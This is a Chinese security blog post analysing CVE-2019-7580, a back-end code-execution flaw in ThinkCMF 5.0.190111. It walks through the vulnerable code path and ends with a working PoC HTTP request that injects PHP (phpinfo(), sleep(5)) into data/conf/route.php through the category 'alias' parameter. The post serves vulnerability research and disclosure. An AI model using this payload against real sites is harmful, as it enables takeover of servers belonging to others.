某CMS-5.0.190111后台代码执行(CVE-2019-7580)

admin 2022年1月31日12:11:21评论79 views字数 2715阅读9分3秒阅读模式

0x00 环境搭建

首先去thinkcmf下载5.0的最新版
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
切换到web根目录下,比如/var/www,然后新建一个目录:ThinkCMF-5.0.190111
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php,将其中的

define('CMF_ROOT', __DIR__ . '/../');

修改为

define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');

然后一步步完成安装。
参考:https://blog.csdn.net/youaregoo/article/details/82219722

0x01 利用过程:

后台登录状态下,
1、将payload插入数据库并读取然后写入data/conf/route.php文件

POST /portal/admin_category/addpost.html
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b

2、然后访问:

/portal/admin_category/index.html

触发

include data/conf/route.php

操作,执行payload。下图以执行sleep(5)作为演示。


某CMS-5.0.190111后台代码执行(CVE-2019-7580)



0x02 利用过程与分析

1、将payload插入数据库,写入data/conf/route.php文件

程序的入口是index.php,在index.php中thinkApp::run()执行应用。


某CMS-5.0.190111后台代码执行(CVE-2019-7580)



在App.php的run()函数139行,执行sef::exec();



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



通过解析url,得到处理此次请求的控制器、类、函数,即AdminCategoryController.phpaddPost函数。然后调用self::invokeMethod()



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



通过反射执行AdminCategoryController.phpaddPost函数。
在addPost函数中,从$this->request->param()函数中得到请求中的参数传递给$data。



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



然后通过$this->validata调用父类(./simplewind/thinkphp/library/think/Controller.php)的validata函数进行过滤。然后将$data传入./app/portal/model/PortalCategoryModel.php的addCategory函数进行实际的"添加分类"操作。


某CMS-5.0.190111后台代码执行(CVE-2019-7580)


在addCategory函数中,184行这一句:

$findRoute = $this->where('full_url', $fullUrl)->find();

通过查询数据中是否存在对应的url,由于是第一次插入,所以这里并没有查到。
154行和155行通过setRoute函数对数据库进行了两次插入操作。
根入setRoute函数,


某CMS-5.0.190111后台代码执行(CVE-2019-7580)



其中$fullUrl和$url的值如截图所示。
继续跟,



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



在34行从数据库中查询查询相关数据,

$routes      = $this->where("status", 1)->order("list_order asc")->select();

addCategory函数的157行调用

$routeModel->getRoutes(true);

最终得到$allroutes的值,创建data/conf目录,然后拼接待写入的route.php文件的完整路径,最后调用file_put_contents()完成写入。可见这个漏洞在于没有对alias参数中的单引号进行过滤,导致可通过闭合前后的单引号插入用户可控的payload。
写入前后对比如下:

某CMS-5.0.190111后台代码执行(CVE-2019-7580)

2、触发payload执行

带着登录的cookie访问/portal/admin_category/index.html,调用routeCheck函数进行url路由检测


某CMS-5.0.190111后台代码执行(CVE-2019-7580)



这里先

include app/route.php



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



然后,

include data/conf/route.php



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



最终执行我们的payload:phpinfo()



某CMS-5.0.190111后台代码执行(CVE-2019-7580)



0x03 Demo


某CMS-5.0.190111后台代码执行(CVE-2019-7580)


0x04 附PoC:

POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.170.209
Content-Length: 183
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
Connection: close

parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2

0x05 后记

2月7日分配了CVE编号:CVE-2019-7580

ThinkCMF 5.0.190111 allows remote attackers to execute arbitrary PHP code via the portal/admin_category/addpost.html alias parameter because the mishandling of a single quote character allows data/conf/route.php injection.

这个漏洞是在复现thinkcmf的CVE-2019-6713的时候发现的。
根据其描述

by using vectors involving portal/List/index and list/:id to inject this code into dataconfroute.php, as demonstrated by a file_put_contents call.

提到file_put_contents,猜想这可能是一个文件写入漏洞。然后搜索route.php,发现添加分类处可以写入该文件。

0x06 参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6713


来源:先知 

注:如有侵权请联系删除




某CMS-5.0.190111后台代码执行(CVE-2019-7580)

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

某CMS-5.0.190111后台代码执行(CVE-2019-7580)

努力的目的不是为了达到别人所设定的目标,

而是可以更有底气的去选择自己想要的生活。





原文始发于微信公众号(衡阳信安):某CMS-5.0.190111后台代码执行(CVE-2019-7580)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月31日12:11:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CMS-5.0.190111后台代码执行(CVE-2019-7580)https://cn-sec.com/archives/760220.html

发表评论

匿名网友 填写信息